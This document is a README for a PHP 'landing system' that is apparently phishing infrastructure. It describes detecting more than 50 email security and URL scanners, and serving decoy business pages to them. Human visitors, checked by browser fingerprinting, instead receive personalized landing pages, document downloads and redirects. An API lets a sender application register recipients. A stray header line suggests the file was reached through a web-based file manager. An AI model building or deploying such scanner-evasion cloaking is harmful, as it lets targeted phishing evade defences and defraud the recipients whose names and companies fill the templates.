Simple File Manage Design by index.php

��

# Landing System

A lightweight PHP-based landing page system with comprehensive scanner detection.

## Features

- **Scanner Detection**: Detects 50+ email security systems and URL scanners
- **Decoy Pages**: Shows legitimate business pages to scanners
- **JS Challenge**: Verifies human visitors with browser fingerprinting
- **Personalization**: Supports placeholders for dynamic content
- **Logging**: Tracks all visits and scanner detections
- **API**: Integration endpoint for sender application

## Quick Start

1. Upload all files to your cPanel hosting
2. Configure `.htaccess` for URL rewriting
3. Update `config.php` with your settings
4. Create recipients via API

## Directory Structure

```
landing-system/
├── index.php              # Main router
├── config.php             # Configuration
├── .htaccess              # URL rewriting
├── core/
│   ├── database.php       # SQLite database
│   ├── scanner.php        # Detection engine
│   ├── logger.php         # Logging
│   └── response.php       # Response handlers
├── data/
│   ├── scanner_ips.json   # Scanner IP ranges
│   ├── scanner_agents.json # User-agent patterns
│   └── landing.db         # SQLite database (auto-created)
├── templates/
│   ├── landing/           # Personalized landing templates
│   ├── decoy/             # Decoy pages for scanners
│   └── challenge/         # JS verification page
├── assets/
│   ├── css/
│   └── img/
└── logs/                  # Log files (auto-created)
```

## URL Patterns

| Pattern | Description |
|---------|-------------|
| `/v/{id}` | View landing page |
| `/d/{id}` | Download document |
| `/r/{id}` | Redirect to target URL |
| `/verify` | JS challenge verification (POST) |
| `/api/*` | API endpoints |

## Scanner Detection

### Detection Methods

1. **IP Range Check** (95% confidence)
   - Known security vendor IPs
   - Cloud provider IPs (AWS, GCP, Azure)
   - Datacenter ranges

2. **User-Agent Analysis** (90% confidence)
   - Security scanner signatures
   - Bot/crawler patterns
   - Headless browser detection

3. **Header Analysis** (70-80% confidence)
   - Missing browser headers
   - Suspicious patterns
   - Scanner-specific headers

4. **JS Challenge** (99% confidence)
   - Browser fingerprinting
   - Human interaction required
   - WebGL/Canvas verification

### Supported Scanners

- **Enterprise**: Proofpoint, Microsoft Defender, Mimecast, Barracuda, Cisco, Sophos
- **URL Scanners**: VirusTotal, URLScan, Google SafeBrowsing
- **Cloud Providers**: AWS, Google Cloud, Azure, DigitalOcean, Vultr, Linode
- **Generic**: Bots, crawlers, headless browsers

## API Usage

### Create Recipient

```bash
curl -X POST https://your-domain.com/api/create \
  -H "X-API-Secret: your-secret-key" \
  -H "Content-Type: application/json" \
  -d '{
    "id": "abc123",
    "email": "john@example.com",
    "firstname": "John",
    "lastname": "Doe",
    "company": "Acme Corp",
    "redirect_url": "https://target-url.com"
  }'
```

### Response

```json
{
  "success": true,
  "link": "https://your-domain.com/v/abc123",
  "id": "abc123"
}
```

## Configuration

Edit `config.php` to customize:

```php
// Detection thresholds
define('SCANNER_CONFIDENCE_THRESHOLD', 60);
define('CHALLENGE_CONFIDENCE_THRESHOLD', 40);

// API
define('API_SECRET', 'your-secret-key');

// Site info (for decoy page)
define('SITE_NAME', 'Your Business Name');
```

## Placeholders

Supported placeholders in templates:

| Placeholder | Description |
|-------------|-------------|
| `{{name}}` | Full name |
| `{{firstname}}` | First name |
| `{{lastname}}` | Last name |
| `{{email}}` | Email address |
| `{{company}}` | Company name |
| `{{domain}}` | Email domain |
| `{{date}}` | Current date |
| `{{id}}` | Visitor ID |

## Security Notes

- Database and log files are protected via `.htaccess`
- Change `API_SECRET` before deployment
- Enable HTTPS in production
- Regularly update scanner signatures

## License

Proprietary - Internal use only